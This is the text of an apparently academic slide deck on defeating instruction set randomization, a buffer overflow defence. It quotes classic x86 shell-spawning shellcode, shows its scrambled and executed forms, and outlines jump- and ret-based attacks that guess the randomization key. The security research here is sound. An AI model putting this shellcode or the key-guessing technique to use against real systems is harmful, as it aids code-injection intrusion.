Defeating Instruction Set Randomization Nora Sovarel
Buffer Overflow “the vulnerability of the decade” Known since 1998 Lots of defenses proposed Non-Executable Buffers Array Bounds checking Address Space Layout Randomization StackGuard/PointGuard Instruction Set Randomization
Why is still an issue in 2004? I don’t know Maybe, lack of interest… Maybe, none of the defences is good enough… What about Instruction Set Randomization?
Attack String - execve [BUFFER OVERFLOWS DEMYSTIFIED, by murat@enderunix.org] "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ;
Instruction Set Randomization 31 ^ 12 => 23 c0 ^ ac => 6c 50 ^ 7d => 2d 68 ^ 9c => f4 2f ^ a2 => 8d 2f ^ 55 => 7a 73 ^ 38 => 4b 68 ^ cc => a4 68 ^ 31 => 59 2f ^ 0c => 23 62 ^ 7d => 1f 69 ^ 91 => f8 6e ^ 82 => ec 89 ^ ac => 25 e3 ^ 03 => e0 50 ^ bc => ec 53 ^ 90 => c3 e1 ^ 7d => 9c 99 ^ 97 => 0e b0 ^ a2 => 12 0b ^ 0c => 07 cd ^ 90 => 5d 80 ^ dc => 5c
Instruction Set Randomization Code Actually Executed 23 6c 2d f4 and 0xfffffff4(%ebp,%ebp,1),%ebp 8d 7a 4b lea 0x4b(%edx),%edi a4 movsb %ds:(%esi),%es:(%edi) 59 pop %ecx 23 1f and (%edi),%ebx f8 clc ec in (%dx),%al 25 e0 ec c3 25 and $0x25c3ece0,%eax 9c pushf 0e push %cs 12 07 adc (%edi),%al 5d pop %ebp 5c pop %esp 00 00 add %al,(%eax) Code Intended to Be Executed 31 c0 xor %eax,%eax 50 push %eax 68 2f 2f 73 68 push $0x68732f2f 68 2f 62 69 6e push $0x6e69622f 89 e3 mov %esp,%ebx 50 push %eax 53 push %ebx 89 e1 mov %esp,%ecx 99 cltd b0 0b mov $0xb,%al cd 80 int $0x80
Can the key be guessed? 32 bit key => 4,294,967,296 possibilities 32 bit key, guess 16 bits and 16 bits => 2 * 65,536 = 131,072 possibilities 32 bit key, guess 8 bits at a time => 4 * 256 = 1,024 possibilities
Problems [Randomized instruction set emulation to disrupt binary code injection attacks, Barrantes & all]
Solutions Use a 16 or 8 bits instruction Notice a good guess Infinite loop Normal behavior
Infinite Loop Use jump near – two bytes instruction Advantage Can be used against any application with a buffer overflow vulnerability Disadvantage Large number of possibilities
Normal Behavior Use ret – one byte instruction Advantage Very fast – 256 tries at most Disadvantages Needs a response from application Needs special conditions to work
Assumptions Use TCP to connect Same randomization key for each restart Same randomization key for all forked processes
Jump Attack
Ret Attack Instructions executed leave ; restores ebp ret ; normal return from function ret ; injected instruction
Results Simple application with a buffer overflow vulnerability ISR implementation uses the same key for each forked process Ret attack works and guesses the key most of the times Jump attack Works when checks one key at each run Unexpected behavior after a large number of tries
Future Work Fix the jump attack to guess the key Attack a real application with a buffer overflow vulnerability Attack a real ISR implementation
Conclusions Under the specified assumptions the attack is possible x86 arhitecture helps the attacker Infinite loops are sometimes useful